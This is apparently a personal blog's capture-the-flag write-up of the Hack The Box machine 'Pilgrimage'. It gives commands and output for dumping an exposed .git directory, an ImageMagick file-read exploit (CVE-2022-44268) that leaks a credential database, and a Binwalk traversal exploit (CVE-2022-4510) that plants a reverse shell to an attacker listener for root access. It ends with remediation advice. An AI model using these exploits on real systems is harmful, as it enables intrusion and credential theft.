nekr0ff

PT1 certified | OSCP in progress

nekr0ff

Pilgrimage – HTB writeup

Summary

Pilgrimage is an easy-difficulty Linux machine centered around source code analysis from exposed repository metadata, vulnerable third-party media processing binaries, and insecure privilege escalation via automated monitoring services. The attack begins with web reconnaissance that reveals an exposed source code control directory. Analyzing the retrieved source code sheds light on backend file conversion mechanisms and internal database paths. By exploiting an arbitrary file read vulnerability in a bundled image processing utility, sensitive backend data is retrieved and decrypted to obtain valid credentials for a local user. Once on the host, internal process enumeration uncovers an automated script running with elevated privileges that monitors directory events to scan files using a third-party analysis tool. Exploiting a directory traversal flaw in the analysis utility allows for arbitrary code execution in the context of the elevated user, yielding full administrative control.

Reconnaissance

Network Scanning

We initiate network discovery using rustscan coupled with standard nmap scripts and version detection:

rustscan -a 10.129.49.140 -- -sCV -oN target

Nmap Port Scan Output:

PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 63 OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey: 
|   3072 20:be:60:d2:95:f6:28:c1:b7:e9:e8:17:06:f1:68:f3 (RSA)
|   256 0e:b6:a6:a8:c9:9b:41:73:74:6e:70:18:0d:5f:e0:af (ECDSA)
|   256 d1:4e:29:3c:70:86:69:b4:d7:2c:c8:0b:48:6e:98:04 (ED25519)
80/tcp open  http    syn-ack ttl 63 nginx 1.18.0
|_http-server-header: nginx/1.18.0
|_http-title: Did not follow redirect to http://pilgrimage.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

The scan reveals two open ports:

  • Port 22 (SSH): OpenSSH 8.4p1 on Debian.
  • Port 80 (HTTP): Nginx 1.18.0 redirecting to http://pilgrimage.htb/.

We map the hostname by adding 10.129.49.140 pilgrimage.htb to /etc/hosts.

Web Application Reconnaissance & Git Dumping

Navigating to http://pilgrimage.htb/ reveals an image shrinking service where users can register an account, upload image files, and download converted versions.

Initial observations:

  • Uploaded files are converted and saved under /shrunk/<hash>.jpeg.
  • Direct parameter tampering on filenames does not yield command injection or direct path traversal.

We perform directory fuzzing using feroxbuster:

feroxbuster -u http://pilgrimage.htb/ -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-medium-files.txt -t 40 -x php,txt,html,bak

The scan discovers an exposed .git/ directory. We utilize git-dumper to recover the complete source code repository:

git-dumper http://pilgrimage.htb/.git/ ./pilgrimage-source

Source Code & Binary Analysis

Inspecting the dumped source code files:

  1. Image Processing Pipeline (index.php): When resizing uploaded images, the PHP backend invokes a local binary: exec("/var/www/pilgrimage.htb/magick convert /var/www/pilgrimage.htb/tmp/" . $filename . " ... /var/www/pilgrimage.htb/shrunk/" . $newname);
  2. Database Storage (login.php): User registration and login details are stored inside a local SQLite database at: $db = new PDO('sqlite:/var/db/pilgrimage');
  3. ImageMagick Version Inspection: The binary /var/www/pilgrimage.htb/magick is an AppImage executable. We extract its contents to inspect the version: ./magick --appimage-extract cd squashfs-root/usr/bin ./magick -version

Output:

Version: ImageMagick 7.1.0-49 beta Q16-HDRI x86_64 c243c9281:20220911 https://imagemagick.org

Initial access

Exploiting ImageMagick Arbitrary File Read (CVE-2022-44268)

ImageMagick version 7.1.0-49 is vulnerable to CVE-2022-44268. When parsing a PNG image that includes a tEXt chunk specifying a profile keyword with a local file path, ImageMagick reads the target file from the filesystem and embeds its hexadecimal content into the output PNG’s raw profile metadata.

We utilize a dedicated PoC generator to craft a PNG payload requesting the SQLite database /var/db/pilgrimage:

# Generate PNG payload requesting the target database file
cargo run "/var/db/pilgrimage"
  1. Upload: We upload the generated image.png file to http://pilgrimage.htb/.
  2. Download: We copy the generated link of the resized image and download it: wget http://pilgrimage.htb/shrunk/64b5f12345.png -O shrunk.png
  3. Metadata Extraction: We inspect the metadata using identify: identify -verbose shrunk.png Under the Raw profile type: field, we locate the raw hexadecimal string containing the leaked file data.
  4. Decoding Database Content: We convert the hexadecimal stream back to binary format using xxd: echo "<HEX_PAYLOAD>" | tr -d '\n ' | xxd -r -p > pilgrimage.db
  5. Querying User Credentials: Using sqlite3, we inspect the dumped SQLite database: sqlite3 pilgrimage.db "SELECT * FROM users;"

Database Dump Output:

emily|abigchonkyboi123

SSH Foothold

With the recovered cleartext credentials for user emily, we authenticate over SSH:

ssh emily@pilgrimage.htb
# Password: abigchonkyboi123

We gain access as emily and retrieve the user flag from /home/emily/user.txt.

Privilege escalation

Internal Process Enumeration

Checking running processes with ps aux reveals an automated background script executed as root:

ps aux | grep malwarescan

Script Content (/usr/sbin/malwarescan.sh):

#!/bin/bash

blacklist=("Executable script" "Microsoft executable")

/usr/bin/inotifywait -m -e create /var/www/pilgrimage.htb/shrunk/ | while read FILE; do
	filename="/var/www/pilgrimage.htb/shrunk/$(/usr/bin/echo "$FILE" | /usr/bin/tail -n 1 | /usr/bin/sed -n -e 's/^.*CREATE //p')"
	binout="$(/usr/local/bin/binwalk -e "$filename")"
        for banned in "${blacklist[@]}"; do
		if [[ "$binout" == *"$banned"* ]]; then
			/usr/bin/rm "$filename"
			break
		fi
	done
done

The script monitors /var/www/pilgrimage.htb/shrunk/ using inotifywait and executes /usr/local/bin/binwalk -e "$filename" whenever a new file is created.

We check the installed binwalk version:

/usr/local/bin/binwalk

The binary is Binwalk v2.3.2.

Exploiting Binwalk PFS Directory Traversal (CVE-2022-4510)

Binwalk versions 2.1.2b through 2.3.3 are vulnerable to CVE-2022-4510. The Photo Film Strip (PFS) extractor plugin (pfs.py) fails to sanitize filenames in archive entries, allowing directory traversal (../) during extraction (-e). An attacker can craft a malicious PFS image that writes a custom Python script into the root user’s Binwalk plugin directory (/root/.config/binwalk/plugins/). When Binwalk loads plugins during subsequent executions, the injected Python code is executed with root privileges.

We obtain the public exploit script (EDB-51249):

# Generate crafted PFS payload embedding a reverse shell
python3 51249.py image.png 10.10.10.10 4444
  1. Start Listener: On our local attack machine, we set up a Netcat listener: nc -lvnp 4444
  2. Trigger Execution: On the target machine, we copy the generated exploit file binwalk_exploit.png into the monitored directory: cp binwalk_exploit.png /var/www/pilgrimage.htb/shrunk/
  3. Root Shell: inotifywait detects the file creation and executes binwalk -e, unpacking the malicious plugin to /root/.config/binwalk/plugins/ and triggering the reverse shell:
connect to [10.10.14.X] from (UNKNOWN) [10.129.49.140] 48292
root@pilgrimage:/# id
uid=0(root) gid=0(root) groups=0(root)

We retrieve the root flag from /root/root.txt.

Conclusion

Pilgrimage illustrates how subtle information disclosure flaws and outdated utility binaries can be chained into a complete administrative takeover. Leaving a .git repository exposed in the web root provided full visibility into backend operations, exposing internal database locations and third-party binaries. The unpatched ImageMagick binary allowed arbitrary file reads (CVE-2022-44268), enabling the extraction of plaintext credentials from the local SQLite database. Finally, running automated malware scanning scripts as root with an outdated extraction utility (Binwalk 2.3.2 vulnerable to CVE-2022-4510) granted instantaneous privilege escalation through directory traversal and plugin hijacking.

Defensive Remediation & Hardening:

  1. Block Access to Dotfiles: Configure web servers (Nginx/Apache) to deny access to hidden directories like /.git/, or utilize automated CI/CD deployment pipelines that package only production-ready files without version control artifacts.
  2. Upgrade Media Processing Utilities: Update ImageMagick to version 7.1.0-50 / 6.9.12-65 or later, and restrict coder permissions in policy.xml.
  3. Secure Database Storage & Credentials: Hash user passwords using robust adaptive hashing functions (bcrypt, Argon2) rather than storing cleartext credentials, and restrict database read permissions to dedicated web service accounts.
  4. Patch Automated Utilities & Apply Least Privilege: Update Binwalk to version 2.3.4 or newer. Never execute automated file parsers or malware analysis utilities as root; run scheduled background daemons inside restricted, unprivileged container sandboxes.
Index
root@nekr0ff:~$ cd $HOME